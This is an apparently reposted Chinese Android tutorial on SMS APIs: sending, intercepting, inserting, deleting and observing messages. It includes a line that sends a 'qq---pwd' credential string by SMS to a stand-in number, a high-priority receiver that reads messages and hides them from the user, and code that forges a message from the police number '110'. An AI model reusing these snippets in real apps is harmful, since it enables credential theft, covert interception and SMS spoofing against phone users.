短信套路

来源:互联网 发布:大专软件学校 编辑:程序博客网 时间:2024/03/29 07:38

短信套路

发短信

SmsManager smsManager = SmsManager.getDefault();smsManager.sendTextMessage("5556", null, qq + "---" + pwd, null,                null);

短信窃听(广播)

public class SmsReceiver extends BroadcastReceiver {    @Override    public void onReceive(Context context, Intent intent) {        System.out.println("短信到来了....");        //短信的数据是pdu的数据,必须对短信的格式很了解才可以解析短信.        Object[] objs = (Object[]) intent.getExtras().get("pdus");        for(Object obj:objs){            SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);            String body = smsMessage.getMessageBody();//内容            String sender = smsMessage.getOriginatingAddress();//发件人            System.out.println("body:"+body);            System.out.println("sender:"+sender);            abortBroadcast();//拦截有序广播        }    }}<receiver android:name="com.itheima.smslistener.SmsReceiver" >    <intent-filter android:priority="1000" >        <action android:name="android.provider.Telephony.SMS_RECEIVED" />    </intent-filter></receiver><!-- 读取短信息权限,写入短信息权限 --><uses-permission android:name="android.permission.READ_SMS"/><uses-permission android:name="android.permission.WRITE_SMS"/>

短信添加和删除(内容提供者)

public class MainActivity extends Activity {

    //利用内容提供者添加短信    public void add(View view){        Uri uri = Uri.parse("content://sms");//全部的短信         ContentResolver resolver = getContentResolver();        ContentValues values = new ContentValues();        values.put("address", "110");        values.put("date", System.currentTimeMillis());        values.put("type", 1);        values.put("body", "恭喜您被评为见义勇为好市民,敢于扶老太太");        resolver.insert(uri, values);    }    //利用内容提供者删除短信    public void delete(View view){        Uri uri = Uri.parse("content://sms");//全部的短信         ContentResolver resolver = getContentResolver();        resolver.delete(uri, "address=?", new String[]{"110"});    }}<!-- 读取短信息权限,写入短信息权限 --><uses-permission android:name="android.permission.READ_SMS"/><uses-permission android:name="android.permission.WRITE_SMS"/>

短信的变化(内容观察者)

public class MainActivity extends Activity {    private MyObserver observer;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        Uri uri = Uri.parse("content://sms");        observer = new MyObserver(new Handler());        getContentResolver().registerContentObserver(uri, true, observer);    }    private class MyObserver extends ContentObserver{        public MyObserver(Handler handler) {            super(handler);        }        @Override        public void onChange(boolean selfChange) {            super.onChange(selfChange);            System.out.println("onchange");        }    }}
0 0